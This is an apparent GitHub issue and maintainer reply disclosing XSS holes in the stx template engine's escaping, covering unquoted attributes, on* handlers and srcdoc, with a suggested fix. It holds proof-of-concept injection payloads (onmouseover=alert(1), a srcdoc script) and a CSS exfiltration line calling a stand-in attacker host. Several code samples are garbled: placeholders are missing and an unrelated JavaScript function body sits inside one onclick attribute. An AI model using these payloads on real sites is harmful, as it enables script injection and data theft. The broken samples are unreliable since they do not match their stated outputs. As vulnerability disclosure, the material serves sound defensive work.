ReviewOS

stacks/stx

escaping is context-blind: an interpolated value injects attributes in an unquoted attribute, and runs as JS in on* and srcdoc

#2079
Closed glennmichael123 opened this 8 days ago ·
8 days ago

escapeHtmlValue escapes &, <, >, " and ', and neutralizeTemplateSyntax then makes the value unreadable as template syntax. For text content and for quoted attributes that is correct, and the second-order case is handled well — with bio = '' renders the literal, which a lot of template engines get wrong.

Three contexts aren't covered, because the escaping doesn't know where the value landed.

1. Unquoted attributes

A space terminates an unquoted attribute value, and space isn't escaped:

await processExpressions('<div class=>x</div>', { c: 'a onmouseover=alert(1)' }, '/tmp/t.stx')
// => '<div class=a onmouseover=alert(1)>x</div>'

That's a live event handler. < and > are escaped so the tag can't be closed, but it doesn't need to be — attributes are enough. The same thing happens where the URL guard is active, because the guard sees a legitimate URL:

await processExpressions('<a href=>x</a>', { u: 'https://ok.example/ onmouseover=alert(1)' }, '/tmp/t.stx')
// => '<a href=https://ok.example/ onmouseover=alert(1)>x</a>'

Unquoted attributes are valid HTML and common in hand-written templates, so "always quote" is a rule nobody will keep.

2. Event-handler attributes

await processExpressions('<div onclick="function h(type, props, ...children) {
  const { key, ref, ...restProps } = props || {};
  return {
    type,
    props: Object.keys(restProps).length > 0 ? restProps : {},
    children: normalizeChildren(children.length === 1 ? children[0] : children),
    key: key ?? void 0,
    ref: ref ?? void 0
  };
}">x</div>', { h: 'alert(1)' }, '/tmp/t.stx')
// => '<div onclick="alert(1)">x</div>'

The attribute is quoted and the value is HTML-escaped, and the result is still arbitrary JavaScript, because on* attribute values are a script context. HTML escaping is the wrong transform here — there isn't a right one, so the engine should refuse.

3. srcdoc

await processExpressions('<iframe srcdoc=""></iframe>', { s: '<script>alert(1)</script>' }, '/tmp/t.stx')
// => '<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>'

That looks escaped, but the browser decodes attribute entities before using the value as the frame's document, so the frame ends up containing <script>alert(1)</script> and it runs. srcdoc needs escaping applied twice, or needs to be refused like on*.

Correctly handled, for contrast — single-quoted attributes (&#39;), HTML comments, javascript:/data: in href (prefixed unsafe:, case-insensitive, tolerant of embedded tabs and newlines), and <script> bodies, which the expression pass masks out entirely.

Suggested direction

replaceInterpolations already walks the output with offsets and already passes position into schemeWindow/sanitizeSubstitutedUrl to decide URL safety, so the surrounding markup is available at substitution time. The same window can classify the context:

  • unquoted attribute — escape the terminators too (space, tab, newline, >, =, backtick, ', "), or emit the value wrapped in quotes.
  • on* attribute, and style — refuse, with a build-time error naming the attribute. CSS injection via style is a lesser problem than the other two (url(javascript:) is dead in current browsers) but background:url(https://attacker/?leak) still exfiltrates on render, so a warning is worth it.
  • srcdoc — escape twice, or refuse.

A strict-lint rule would catch most of this at build time; src/strict-lint.ts already has the machinery and the diagnostic plumbing.

Found while auditing Stacks and stx for hq.training. Verified against @stacksjs/stx@0.2.534.

8 days ago

Fixed on main by 3cb1a11 and 80d5791. Escaped interpolation is now HTML-context aware: unquoted attribute terminators are encoded, native on* handlers are refused, srcdoc is double-escaped, unsafe CSS URLs are refused, and tag/attribute structure is constrained while preserving validated polymorphic tags and conditional boolean attributes. Regression coverage also preserves local and base64 raster image placeholders. Verified with the full suite: 16,014 passed, 0 failed; CI run 38897877529 is green. This landed after stx v0.2.544 and will ship in the next patch release.

Sign in to comment on this issue.